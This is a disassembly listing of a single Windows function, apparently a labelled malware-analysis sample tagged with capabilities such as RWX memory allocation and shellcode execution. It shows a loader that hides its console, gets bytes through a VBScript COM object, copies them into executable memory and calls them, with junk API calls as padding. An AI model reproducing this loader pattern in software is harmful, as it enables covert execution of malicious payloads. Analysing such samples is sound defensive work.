Function at 0x4013a0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x425b40
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push ebp
push esi
push edi
mov eax, dword [0x431e90]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
xor edi, edi
push edi
mov dword [esp + 0x28], edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call fcn.004035cf
test eax, eax
jne 0x401498
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call esi
call esi
call esi
call esi
call esi
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
call esi
call esi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x436098
push 0x104
call esi
push 0x436098
push 0x104
call esi
push 0x436098
push 0x104
call esi
push 0x436098
push 0x104
call esi
mov dword [esp + 0x24], 1
jmp 0x401839
mov ebp, dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call esi
call esi
call esi
call esi
call esi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
cmp eax, edi
je 0x4014f0
push edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
push str.001001ABCABC_n
call fcn.0040e986
add esp, 4
call esi
call esi
call esi
call esi
call esi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x436098
push 0x104
test eax, eax
jge 0x4015b0
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
call esi
call esi
call esi
call esi
call esi
or eax, 0xffffffff
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esp + 0x20], edi
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
lea eax, [esp + 0x18]
push eax
push 0x42b9ac
push 1
push edi
push 0x42b9bc
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, edi
jl 0x4017b1
mov eax, dword [esp + 0x18]
cmp eax, edi
je 0x4017b1
mov ecx, dword [eax]
mov edx, dword [ecx + 0x20]
push str.VBScript
push eax
call edx
lea ebx, [esp + 0x20]
call section..text
mov dword [esp + 0x50], edi
mov eax, dword [esp + 0x20]
push ecx
mov ecx, esp
mov dword [esp + 0x34], esp
mov dword [ecx], eax
cmp eax, edi
je 0x401653
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ecx, dword [esp + 0x1c]
call fcn.00401190
push ecx
mov ebx, esp
mov dword [esp + 0x34], esp
call fcn.00401090
mov ecx, dword [esp + 0x1c]
lea ebx, [esp + 0x38]
call fcn.00401240
mov eax, 0x2011
mov byte [esp + 0x50], 1
cmp word [esp + 0x34], ax
jne 0x40174b
mov edi, dword [esp + 0x3c]
mov dword [esp + 0x1c], 0
call esi
call esi
call esi
call esi
call esi
call esi
lea ecx, [esp + 0x1c]
push ecx
push edi
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
cmp dword [esp + 0x1c], 0
je 0x40174d
lea edx, [esp + 0x2c]
push edx
push 1
push edi
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
lea eax, [esp + 0x28]
push eax
push 1
push edi
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
mov ebx, dword [esp + 0x28]
sub ebx, dword [esp + 0x2c]
inc ebx
call esi
call esi
call esi
call esi
call esi
call esi
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.00401320
add esp, 4
call esi
call esi
call esi
call esi
call esi
call esi
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x30], eax
test eax, eax
je 0x401738
mov edx, dword [esp + 0x1c]
push ebx
push edx
push eax
call fcn.00411fd0
add esp, 0xc
call esi
call esi
call esi
call esi
call esi
call dword [esp + 0x30]
call esi
call esi
call esi
call esi
call esi
push edi
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
jmp 0x40174d
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
call esi
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edi, [esp + 0x20]
call fcn.00401130
jmp 0x4017eb
call esi
call esi
call esi
call esi
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
call esi
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
push 0x436098
push 0x104
call ebp
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret